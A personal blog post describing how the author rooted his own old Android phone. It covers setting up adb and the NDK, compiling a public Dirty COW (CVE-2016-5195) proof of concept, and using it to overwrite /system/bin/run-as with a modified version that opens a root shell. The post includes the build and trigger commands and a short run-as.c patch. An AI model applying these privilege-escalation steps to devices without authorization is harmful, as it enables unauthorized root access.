The Book of Gehn

Rooting Android with a Dirty COW

August 22, 2021

I’ve recently got a quite old Android phone to play with. I guess the first thing to do is getting root, don’t you think?

Android SDK

While it is perfectly possible to download the SDK from Android and install it by hand, I liked the idea to use a package from Debian repository.

To interact with the device we will use Android Debug Bridge or adb for short.

Besides adb we need to setup a few udev rules so we can run it without root permissions.

The package android-sdk-platform-tools-common already does that, we only need to add our user to the plugdev group.

$ sudo usermod -aG plugdev $(id -un)
$ sudo apt-get install adb android-sdk-platform-tools-common

The compiler and the building tools, however, it wasn’t so easy.

google-android-ndk-installer is available for Bullseye but not for Buster :|

I decided to repackage it:

dpkg -i *.deb and we are done.

Gathering info

To compile our priv-esc exploit we need to know the architecture and SDK version of the phone.

$ adb shell getprop ro.product.cpu.abi
armeabi-nn

$ adb shell getprop ro.build.version.sdk
nn

I left the connection details for the official documentation

Dirty COW

One of the most reliable modern exploits, the CVE-2016-5195 know as Dirty COW.

In short, it exploits a race condition in the Copy-on-Write (COW) feature in Linux kernel to write in memory pages that are supposed to be read-only.

This opens a whole set of opportunities to priv-esc:

The beauty is that the exploit is quite easy to understand and read, something that it is crucial: you must never root your phone blindly trusting in an unknown apk or exploit. Never.

This Github repository is a PoC for exploiting Dirty COW on Androids. After a few hours of reviewing I was confident that it would be safe to use it.

The repository has:

I had only modified run-as.c a little to call the original unpatched run-as program by default and drop a root shell only under a special condition. We don’t want that anyone can call it and become root!

const char* pkgname;
if (argc < 2)
    return 1;

pkgname = argv[1];
if (strcmp(pkgname, "cookie") != 0) {
    /* Rollback to the default run-as . */
    char *argv2[argc+1];
    memset(argv2, 0, sizeof(char*)*(argc+1));
    memcpy(argv2, argv, sizeof(char*)*argc);

    execvp("/system/bin/run-as.bck", argv2);
    return 1;
}

The compilation then went smoothly:

$ export PATH=$PATH:/usr/lib/android-sdk/ndk-bundle/
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-nn APP_PLATFORM=android-nn

Patching

We upload the exploit and our custom run-as program to the phone:

$ adb push libs/armeabi-nn/dirtycow /storage/sdcard0/dcow
$ adb push libs/armeabi-nn/run-as /storage/sdcard0/run-as

We make a backup copy of the unpatched run-as program and trigger then the exploit. If everything goes well the read-only /system/bin/run-as will be replaced with our custom run-as:

$ adb shell 'cp /system/bin/run-as /storage/sdcard0/run-as.bck'
$ adb shell '/storage/sdcard0/dcow /storage/sdcard0/run-as /system/bin/run-as --no-pad'

We run run-as cookie cookie and we get a root shell; bypassing SELinux will be for another post :D

Related tags: android, root, privilege, priv-esc, escalation, dirty-cow

Rooting Android with a Dirty COW - August 22, 2021 - Martin Di Paola